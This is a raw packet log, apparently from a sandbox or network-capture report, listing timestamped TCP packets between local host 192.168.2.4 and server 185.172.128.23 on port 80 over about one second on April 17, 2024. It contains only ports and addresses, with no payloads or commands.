Apr 17, 2024 06:57:11.301872015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301887035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301908016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301928043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301943064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.301949024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.301989079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.302966118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303009033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303021908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303045034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303055048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303078890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303091049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303122044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303764105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303800106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303816080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303836107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303853035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303868055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.303889036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.303909063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304186106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304222107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304258108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304277897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304292917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304307938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304337025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304688931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304740906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304765940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304800987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304816961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304833889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304841042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304879904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.304930925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304968119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.304984093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305003881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.305018902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305036068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.305053949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305073977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305414915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.305452108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.305478096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305488110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.305497885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305532932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.305571079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.305620909 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.364182949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.364289045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.364326000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.364362001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.364590883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366612911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366651058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366684914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366688013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366712093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366718054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366738081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366755009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366760015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366792917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366817951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366827965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366838932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366859913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366884947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366894960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366908073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366930962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366950035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.366966963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.366990089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367010117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367023945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367054939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367059946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367090940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367104053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367125988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367139101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367157936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367172956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367193937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367211103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367249012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367268085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367302895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367316961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367338896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367356062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367373943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367394924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367408991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367413998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367441893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367455006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367477894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367491007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367516041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367527008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367551088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367563963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367584944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367595911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367619991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367631912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367671967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367686987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367722034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367733955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367753983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367769003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367789984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367796898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367825031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367835045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367861032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367866993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367897034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.367909908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.367944002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368166924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368204117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368238926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368261099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368273020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368283987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368324995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368525982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368561983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368580103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368597984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368612051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368629932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.368648052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.368669987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.425729036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.425766945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.425801992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.425833941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.425951004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.425951004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.425951004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431571960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431653976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431689024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431715965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431720018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431736946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431755066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431760073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431790113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431797981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431824923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431839943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431858063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.431871891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.431900024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433465004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433501005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433535099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433556080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433566093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433578014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433602095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433609962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433645964 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433675051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433710098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433718920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433741093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.433752060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.433783054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434097052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434146881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434179068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434235096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434247971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434279919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434293985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434317112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434329987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434353113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434353113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434389114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434398890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434421062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.434432983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434463024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.434972048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435009003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435018063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435044050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435054064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435076952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435089111 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435118914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435662031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435698986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435715914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435735941 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435735941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435770035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.435781002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.435815096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.436533928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.436568975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.436605930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.436618090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.436639071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.436652899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.436681986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.437187910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.437223911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.437235117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.437263966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.437273026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.437295914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.437308073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.437339067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.437411070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.437447071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:11.437467098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.437488079 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.738164902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:11.941495895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048314095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048401117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048438072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048471928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048600912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.048600912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.048716068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048752069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048785925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048806906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.048820019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048830032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.048860073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.048907042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048944950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048954010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.048979998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.048989058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.049012899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.049021006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.049055099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.101371050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101450920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101485968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101521969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101543903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.101567030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101602077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.101602077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.101607084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101643085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101658106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.101675987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.101696968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.101716042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102022886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102058887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102081060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102092981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102099895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102125883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102138996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102166891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102591038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102633953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102653980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102678061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102684021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102721930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102757931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102802992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102885008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102920055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102933884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102957010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.102969885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.102988958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.103003025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.103030920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.103241920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.103276968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.103295088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.103312969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.103331089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.103348017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.103353977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.103394032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154202938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154279947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154314995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154345989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154381990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154417038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154453039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154485941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154567957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154567957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154567957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154568911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154568911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154568911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154568911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154591084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154628038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154663086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154678106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154695034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154716015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154733896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154793978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154844046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154891014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154926062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154937983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.154958963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.154972076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155008078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:12.155175924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:12.155226946 CEST	80	49730	185.172.128.23	192.168.2.4
